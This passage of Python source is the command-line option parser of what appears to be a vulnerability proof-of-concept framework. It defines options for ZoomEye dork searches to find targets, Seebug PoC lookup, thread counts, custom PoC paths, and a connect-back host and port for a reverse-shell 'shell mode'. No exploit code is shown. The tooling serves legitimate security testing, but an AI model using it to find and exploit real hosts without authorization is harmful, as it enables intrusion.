            help="Extra headers (e.g. \"key1: value1\\nkey2: value2\")")
        # Account options
        account = OptionGroup(parser, "Account", "Telnet404 account options")
        account.add_option("--login-user",
                           dest="login_user",
                           help="Telnet404 login user")
        account.add_option("--login-pass",
                           dest="login_pass",
                           help="Telnet404 login password")
        # Modules options
        modules = OptionGroup(parser, "Modules",
                              "Modules(Seebug Zoomeye CEye Listener) options")
        modules.add_option("--dork",
                           dest="dork",
                           action="store",
                           default=None,
                           help="Zoomeye dork used for search.")
        modules.add_option(
            "--max-page",
            dest="max_page",
            type=int,
            default=1,
            help="Max page used in ZoomEye API(10 targets/Page).")
        modules.add_option("--search-type",
                           dest="search_type",
                           action="store",
                           default='host',
                           help="search type used in ZoomEye API, web or host")
        modules.add_option("--vul-keyword",
                           dest="vul_keyword",
                           action="store",
                           default=None,
                           help="Seebug keyword used for search.")
        modules.add_option("--ssv-id",
                           dest="ssvid",
                           action="store",
                           default=None,
                           help="Seebug SSVID number for target PoC.")
        modules.add_option(
            "--lhost",
            dest="connect_back_host",
            action="store",
            default=None,
            help="Connect back host for target PoC in shell mode")
        modules.add_option(
            "--lport",
            dest="connect_back_port",
            action="store",
            default=None,
            help="Connect back port for target PoC in shell mode")

        # Optimization options
        optimization = OptionGroup(parser, "Optimization",
                                   "Optimization options")
        optimization.add_option("--plugins",
                                dest="plugins",
                                action="store",
                                default=None,
                                help="Load plugins to execute")
        optimization.add_option("--pocs-path",
                                dest="pocs_path",
                                action="store",
                                default=None,
                                help="User defined poc scripts path")
        optimization.add_option(
            "--threads",
            dest="threads",
            type=int,
            default=1,
            help="Max number of concurrent network requests (default 1)")
        optimization.add_option(
            "--batch",
            dest="batch",
            help="Automatically choose defaut choice without asking.")
        optimization.add_option("--requires",
                                dest="check_requires",
                                action="store_true",
                                default=False,
                                help="Check install_requires")
        optimization.add_option(
            "--quiet",
            dest="quiet",
            action="store_true",
            default=False,
            help="Activate quiet mode, working without logger.")

        # Diy options
        diy_options = OptionGroup(parser, "Poc options",
                                  "definition options for PoC")

        for line in argv:
            if line.startswith("--"):
                if line[2:] not in CMD_PARSE_WHITELIST:
                    diy_options.add_option(line)

        parser.add_option_group(target)
        parser.add_option_group(mode)
        parser.add_option_group(request)
        parser.add_option_group(account)
        parser.add_option_group(modules)
        parser.add_option_group(optimization)
        parser.add_option_group(diy_options)

        (args, _) = parser.parse_args(argv)
        if not any((args.url, args.url_file, args.update_all, args.plugins,
                    args.dork)):
            err_msg = "missing a mandatory option (-u, --url-file, --update). "
            err_msg += "Use -h for basic and -hh for advanced help\n"
            parser.error(err_msg)

        return args

    except (OptionError, TypeError) as e:
        parser.error(e)

    except SystemExit:
        # Protection against Windows dummy double clicking
        if IS_WIN:
            data_to_stdout("\nPress Enter to continue...")
            input()
        raise

    debug_msg = "parsing command line"
    logger.debug(debug_msg)